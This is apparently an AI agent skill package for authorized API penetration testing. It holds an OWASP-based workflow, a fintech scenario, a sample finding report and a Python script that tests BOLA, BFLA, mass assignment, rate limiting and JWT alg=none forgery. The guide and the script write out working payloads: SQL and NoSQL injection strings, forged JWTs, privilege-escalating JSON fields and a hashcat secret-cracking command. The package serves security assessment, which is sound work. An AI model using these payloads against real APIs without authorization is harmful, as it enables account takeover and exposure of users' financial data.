npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
When to Use
- Testing API endpoints for authorization flaws, injection vulnerabilities, and business logic bypasses
- Assessing the security of microservices architecture where APIs are the primary communication method
- Validating that API gateway protections (rate limiting, authentication, input validation) are properly enforced
- Testing third-party API integrations for data exposure and insecure configurations
- Evaluating GraphQL APIs for introspection disclosure, query complexity attacks, and authorization bypasses
Do not use against APIs without written authorization, for load testing or denial-of-service testing unless explicitly scoped, or for testing production APIs that process real financial transactions without safeguards.
Prerequisites
- API documentation (OpenAPI/Swagger, GraphQL schema, Postman collection) or application access to reverse-engineer the API
- Burp Suite Professional configured to intercept API traffic with JSON/XML content type handling
- Postman or Insomnia for organizing and replaying API requests across different authentication contexts
- Valid API tokens or credentials at multiple privilege levels (unauthenticated, standard user, admin)
- Target API base URL and version information
Workflow
Step 1: API Discovery and Documentation
Map the complete API attack surface:
- Import API documentation: Load OpenAPI/Swagger specs into Postman or Burp Suite to catalog all endpoints, methods, parameters, and authentication requirements
- Reverse-engineer undocumented APIs: Proxy the mobile app or web frontend through Burp Suite and exercise all features to capture API calls. Export the Burp sitemap as the baseline endpoint inventory.
- GraphQL introspection: Send an introspection query to discover the full schema:
{"query": "{__schema{types{name,fields{name,args{name,type{name}}}}}}"} - Endpoint enumeration: Fuzz for hidden API versions (
/api/v1/,/api/v2/,/api/internal/), debug endpoints (/api/debug,/api/health,/api/metrics), and administrative endpoints - Document authentication mechanisms: Identify if the API uses API keys, OAuth 2.0 Bearer tokens, JWT, session cookies, or mutual TLS
Step 2: Authentication and Token Testing
Test authentication mechanisms for weaknesses:
- JWT analysis: Decode the JWT and inspect claims (sub, exp, iss, aud, role). Test:
- Algorithm confusion: Change
algtononeand remove the signature - Key confusion: Change
algfrom RS256 to HS256 and sign with the public key - Weak secret: Brute-force the HMAC secret with
hashcat -m 16500 jwt.txt wordlist.txt - Token expiration: Verify tokens expire and cannot be used after expiration
- Claim tampering: Modify role, userId, or permission claims and re-sign
- Algorithm confusion: Change
- OAuth 2.0 testing: Check for redirect_uri manipulation, authorization code reuse, token leakage in Referer headers, and missing state parameter (CSRF)
- API key security: Test if API keys are validated per-endpoint, if revoked keys are immediately rejected, and if keys in query strings appear in access logs or analytics
Step 3: Authorization Testing (BOLA/BFLA)
Test for Broken Object Level Authorization (BOLA) and Broken Function Level Authorization (BFLA):
- BOLA (IDOR) testing: For every endpoint that returns user-specific data, replace the object identifier with another user's identifier:
GET /api/users/123/orders->GET /api/users/456/orders- Test with numeric IDs, UUIDs, usernames, and email addresses
- Automate with Burp Autorize extension: configure it with two sessions (attacker and victim) and replay all requests
- BFLA testing: Using a low-privilege token, attempt to access administrative endpoints:
DELETE /api/users/456(admin-only delete)PUT /api/users/456/role(role modification)GET /api/admin/dashboard(admin panel data)
- Mass assignment: Send additional JSON properties not shown in the documentation:
PUT /api/users/123 {"name": "Test", "role": "admin", "isVerified": true, "balance": 99999} - HTTP method testing: If GET works on an endpoint, try PUT, PATCH, DELETE, and OPTIONS to discover unprotected methods
Step 4: Input Validation and Injection Testing
Test API inputs for injection and validation flaws:
- SQL injection in API parameters: Test all parameters (path, query, body, headers) with SQL injection payloads. JSON APIs are often overlooked:
{"username": "admin' OR 1=1--", "password": "test"} - NoSQL injection: For MongoDB backends, test with operator injection:
{"username": {"$gt": ""}, "password": {"$gt": ""}} - SSRF via API: Test any parameter that accepts URLs (webhook URLs, avatar URLs, import endpoints) with internal addresses and cloud metadata endpoints
- GraphQL-specific injection: Test for query depth attacks, alias-based batching for brute force, and field suggestion enumeration
- XXE in XML APIs: Submit XML content with external entity declarations to API endpoints that accept XML
- Rate limiting validation: Send 100+ rapid requests to authentication endpoints, password reset, and OTP verification to test for brute force protection
Step 5: Data Exposure and Response Analysis
Check for excessive data exposure in API responses:
- Verbose responses: Compare the data returned in API responses with what the UI displays. APIs often return more fields than needed (internal IDs, creation timestamps, email addresses of other users, role information).
- Error message analysis: Trigger errors by sending malformed input, invalid tokens, and non-existent resources. Check if error messages reveal stack traces, database queries, internal paths, or technology details.
- Pagination and enumeration: Test if enumeration is possible by iterating through paginated responses (
/api/users?page=1,page=2, etc.) to extract all records - GraphQL data exposure: Query for fields not intended for the current user's role. Test nested queries that traverse relationships to access unauthorized data.
- Debug endpoints: Check
/api/debug,/api/status,/metrics,/health,/.env,/api/swagger.jsonfor exposed internal information
Key Concepts
| Term | Definition |
|---|---|
| BOLA | Broken Object Level Authorization (OWASP API #1); failure to verify that the requesting user is authorized to access a specific object, enabling IDOR attacks |
| BFLA | Broken Function Level Authorization (OWASP API #5); failure to restrict administrative or privileged API functions from being accessed by lower-privilege users |
| Mass Assignment | A vulnerability where the API binds client-provided data to internal object properties without filtering, allowing attackers to modify fields they should not have access to |
| GraphQL Introspection | A built-in GraphQL feature that exposes the complete API schema including all types, fields, and relationships; should be disabled in production |
| JWT | JSON Web Token; a self-contained token format used for API authentication containing claims signed with a secret or key pair |
| Rate Limiting | Controls that restrict the number of API requests a client can make within a time window, preventing brute force, enumeration, and abuse |
Tools & Systems
- Burp Suite Professional: HTTP proxy for intercepting, modifying, and replaying API requests with extensions like Autorize for automated authorization testing
- Postman: API development platform used for organizing endpoint collections, scripting tests, and comparing responses across authentication contexts
- GraphQL Voyager: Visual tool for exploring GraphQL schemas obtained through introspection queries
- jwt.io / jwt_tool: Tools for decoding, analyzing, and tampering with JWT tokens to test authentication bypasses
- Nuclei: Template-based scanner with API-specific templates for detecting common misconfigurations and known vulnerabilities
Common Scenarios
Scenario: API Security Assessment for a Fintech Mobile Application
Context: A fintech startup has a mobile banking application with a REST API backend. The API handles account management, fund transfers, bill payments, and transaction history. The tester has Swagger documentation and accounts at user and admin levels.
Approach:
- Import Swagger spec into Postman, generating 87 endpoint collections across 12 controllers
- Discover BOLA on
/api/v1/accounts/{accountId}/transactionsallowing any authenticated user to view any account's transaction history - Find mass assignment on the user update endpoint where adding
"dailyTransferLimit": 999999bypasses the configured transfer limit - Identify that the fund transfer endpoint lacks rate limiting, allowing unlimited transfer attempts without throttling
- Discover that JWT tokens have a 30-day expiration with no refresh token rotation, enabling long-lived session hijacking
- Find that the admin endpoint
/api/v1/admin/usersis accessible with a standard user token (BFLA) - Report all findings with CVSS scores and specific API code-level remediation guidance
Pitfalls:
- Testing only the endpoints documented in Swagger and missing undocumented or deprecated API versions
- Not testing the same endpoint with tokens from every privilege level to detect authorization bypasses
- Ignoring response body analysis for excessive data exposure when the UI only shows a subset of returned fields
- Failing to test for mass assignment by only sending fields shown in the documentation
Output Format
## Finding: Broken Object Level Authorization in Transaction History API
**ID**: API-001
**Severity**: Critical (CVSS 9.1)
**Affected Endpoint**: GET /api/v1/accounts/{accountId}/transactions
**OWASP API Category**: API1:2023 - Broken Object Level Authorization
**Description**:
The transaction history endpoint returns all transactions for the specified
account without verifying that the authenticated user owns the account. Any
authenticated user can view the complete transaction history of any account
by substituting the accountId path parameter.
**Proof of Concept**:
1. Authenticate as User A (account ID: ACC-10045)
2. Request: GET /api/v1/accounts/ACC-10046/transactions
Authorization: Bearer <User_A_token>
3. Response: 200 OK with User B's full transaction history
**Impact**:
Any authenticated user can view the complete financial transaction history of
all 45,000 customer accounts, including amounts, dates, recipients, and
transaction descriptions.
**Remediation**:
Implement server-side authorization check that verifies the authenticated user
owns the requested account before returning data:
const account = await Account.findById(accountId);
if (account.userId !== req.user.id) return res.status(403).json({error: "Forbidden"});References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 1
api-reference.md2.5 KB
API Reference: API Security Testing Agent
Overview
Tests REST and GraphQL APIs for OWASP API Security Top 10 vulnerabilities including BOLA, BFLA, mass assignment, rate limiting, JWT bypass, and GraphQL introspection disclosure. For authorized penetration testing only.
Dependencies
| Package | Version | Purpose |
|---|---|---|
| requests | >=2.28 | HTTP requests to target APIs |
CLI Usage
python agent.py --base-url https://api.target.com --token <jwt> \
--low-priv-token <jwt> --graphql --output report.jsonArguments
| Argument | Required | Description |
|---|---|---|
--base-url |
Yes | Target API base URL |
--token |
No | Auth bearer token for authenticated testing |
--low-priv-token |
No | Low-privilege token for BFLA testing |
--login-endpoint |
No | Login endpoint for rate limiting test (default: /api/auth/login) |
--graphql |
No | Test GraphQL introspection disclosure |
--output |
No | Output file (default: api_security_report.json) |
Key Functions
test_bola(base_url, endpoint_template, id_field, valid_id, other_id, auth_token)
Tests Broken Object Level Authorization by accessing another user's resource with own credentials.
test_bfla(base_url, admin_endpoints, low_priv_token)
Tests admin endpoints with low-privilege tokens using GET, POST, DELETE methods.
test_mass_assignment(base_url, endpoint, auth_token, extra_fields)
Sends undocumented fields (role, isAdmin) to update endpoints and verifies if they persist.
test_rate_limiting(base_url, endpoint, num_requests)
Sends rapid requests to detect absence of rate limiting on authentication endpoints.
test_jwt_none_algorithm(base_url, endpoint, jwt_token)
Forges JWT with alg: none to test for algorithm confusion vulnerabilities.
test_graphql_introspection(base_url, graphql_endpoint)
Sends introspection query to check if full schema disclosure is enabled.
test_excessive_data_exposure(base_url, endpoint, auth_token, expected_fields)
Compares API response fields against expected fields to identify over-exposure.
OWASP API Top 10 Coverage
| OWASP ID | Vulnerability | Function |
|---|---|---|
| API1:2023 | Broken Object Level Authorization | test_bola |
| API3:2023 | Excessive Data Exposure | test_excessive_data_exposure |
| API4:2023 | Unrestricted Resource Consumption | test_rate_limiting |
| API5:2023 | Broken Function Level Authorization | test_bfla |
| API6:2023 | Mass Assignment | test_mass_assignment |
Scripts 1
agent.py8.2 KB
#!/usr/bin/env python3
# For authorized penetration testing and lab environments only
"""API Security Testing Agent - Tests REST/GraphQL APIs for OWASP API Top 10 vulnerabilities."""
import json
import logging
import argparse
from datetime import datetime
from urllib.parse import urljoin
import requests
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)
def test_bola(base_url, endpoint_template, id_field, valid_id, other_id, auth_token):
"""Test for Broken Object Level Authorization (BOLA/IDOR)."""
headers = {"Authorization": f"Bearer {auth_token}"}
own_resp = requests.get(
urljoin(base_url, endpoint_template.replace(f"{{{id_field}}}", str(valid_id))),
headers=headers, timeout=10,
)
other_resp = requests.get(
urljoin(base_url, endpoint_template.replace(f"{{{id_field}}}", str(other_id))),
headers=headers, timeout=10,
)
vulnerable = other_resp.status_code == 200 and len(other_resp.content) > 50
result = {
"test": "BOLA (API1:2023)",
"endpoint": endpoint_template,
"own_status": own_resp.status_code,
"other_status": other_resp.status_code,
"vulnerable": vulnerable,
}
if vulnerable:
logger.warning("BOLA vulnerability found: %s", endpoint_template)
return result
def test_bfla(base_url, admin_endpoints, low_priv_token):
"""Test for Broken Function Level Authorization (BFLA)."""
headers = {"Authorization": f"Bearer {low_priv_token}"}
results = []
for endpoint in admin_endpoints:
for method in ["GET", "POST", "DELETE"]:
try:
resp = requests.request(
method, urljoin(base_url, endpoint),
headers=headers, timeout=10,
)
vulnerable = resp.status_code in (200, 201, 204)
results.append({
"test": "BFLA (API5:2023)",
"endpoint": endpoint,
"method": method,
"status": resp.status_code,
"vulnerable": vulnerable,
})
if vulnerable:
logger.warning("BFLA: %s %s accessible with low-priv token", method, endpoint)
except requests.RequestException:
continue
return results
def test_mass_assignment(base_url, endpoint, auth_token, extra_fields):
"""Test for mass assignment vulnerability."""
headers = {"Authorization": f"Bearer {auth_token}", "Content-Type": "application/json"}
resp = requests.put(
urljoin(base_url, endpoint),
headers=headers, json=extra_fields, timeout=10,
)
verify = requests.get(urljoin(base_url, endpoint), headers=headers, timeout=10)
verify_data = verify.json() if verify.status_code == 200 else {}
vulnerable = False
for key, value in extra_fields.items():
if key in verify_data and verify_data[key] == value:
vulnerable = True
break
return {
"test": "Mass Assignment (API6:2023)",
"endpoint": endpoint,
"injected_fields": list(extra_fields.keys()),
"vulnerable": vulnerable,
"update_status": resp.status_code,
}
def test_rate_limiting(base_url, endpoint, num_requests=100):
"""Test rate limiting on sensitive endpoints."""
statuses = []
for i in range(num_requests):
try:
resp = requests.post(
urljoin(base_url, endpoint),
json={"username": f"test{i}", "password": "wrong"},
timeout=5,
)
statuses.append(resp.status_code)
if resp.status_code == 429:
logger.info("Rate limiting triggered after %d requests", i + 1)
return {
"test": "Rate Limiting (API4:2023)",
"endpoint": endpoint,
"requests_sent": i + 1,
"rate_limited": True,
"vulnerable": False,
}
except requests.RequestException:
break
return {
"test": "Rate Limiting (API4:2023)",
"endpoint": endpoint,
"requests_sent": len(statuses),
"rate_limited": False,
"vulnerable": True,
}
def test_jwt_none_algorithm(base_url, endpoint, jwt_token):
"""Test for JWT 'none' algorithm bypass."""
import base64
parts = jwt_token.split(".")
if len(parts) != 3:
return {"test": "JWT None Algorithm", "vulnerable": False, "error": "Invalid JWT"}
header = json.loads(base64.urlsafe_b64decode(parts[0] + "=="))
header["alg"] = "none"
new_header = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b"=").decode()
forged_token = f"{new_header}.{parts[1]}."
resp = requests.get(
urljoin(base_url, endpoint),
headers={"Authorization": f"Bearer {forged_token}"},
timeout=10,
)
vulnerable = resp.status_code == 200
return {
"test": "JWT None Algorithm",
"endpoint": endpoint,
"forged_status": resp.status_code,
"vulnerable": vulnerable,
}
def test_graphql_introspection(base_url, graphql_endpoint="/graphql"):
"""Test if GraphQL introspection is enabled."""
query = {"query": "{__schema{types{name,fields{name,args{name,type{name}}}}}}"}
resp = requests.post(
urljoin(base_url, graphql_endpoint),
json=query, timeout=10,
)
has_schema = "types" in resp.text if resp.status_code == 200 else False
return {
"test": "GraphQL Introspection Disclosure",
"endpoint": graphql_endpoint,
"status": resp.status_code,
"introspection_enabled": has_schema,
"vulnerable": has_schema,
}
def test_excessive_data_exposure(base_url, endpoint, auth_token, expected_fields):
"""Test for excessive data exposure in API responses."""
headers = {"Authorization": f"Bearer {auth_token}"}
resp = requests.get(urljoin(base_url, endpoint), headers=headers, timeout=10)
if resp.status_code != 200:
return {"test": "Excessive Data Exposure", "endpoint": endpoint, "vulnerable": False}
data = resp.json()
extra_fields = [k for k in data.keys() if k not in expected_fields] if isinstance(data, dict) else []
return {
"test": "Excessive Data Exposure (API3:2023)",
"endpoint": endpoint,
"expected_fields": expected_fields,
"extra_fields": extra_fields,
"vulnerable": len(extra_fields) > 0,
}
def generate_report(findings):
"""Generate API security testing report."""
critical = [f for f in findings if f.get("vulnerable")]
report = {
"timestamp": datetime.utcnow().isoformat(),
"total_tests": len(findings),
"vulnerabilities_found": len(critical),
"findings": findings,
}
logger.info("Report: %d tests, %d vulnerabilities", len(findings), len(critical))
return report
def main():
parser = argparse.ArgumentParser(description="API Security Testing Agent")
parser.add_argument("--base-url", required=True, help="API base URL")
parser.add_argument("--token", help="Auth bearer token")
parser.add_argument("--low-priv-token", help="Low-privilege bearer token for BFLA testing")
parser.add_argument("--login-endpoint", default="/api/auth/login", help="Login endpoint for rate limit test")
parser.add_argument("--graphql", action="store_true", help="Test GraphQL introspection")
parser.add_argument("--output", default="api_security_report.json")
args = parser.parse_args()
findings = []
findings.append(test_rate_limiting(args.base_url, args.login_endpoint, 50))
if args.graphql:
findings.append(test_graphql_introspection(args.base_url))
if args.low_priv_token:
admin_eps = ["/api/admin/users", "/api/admin/settings", "/api/admin/dashboard"]
findings.extend(test_bfla(args.base_url, admin_eps, args.low_priv_token))
if args.token:
findings.append(test_jwt_none_algorithm(args.base_url, "/api/profile", args.token))
report = generate_report(findings)
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
logger.info("Report saved to %s", args.output)
if __name__ == "__main__":
main()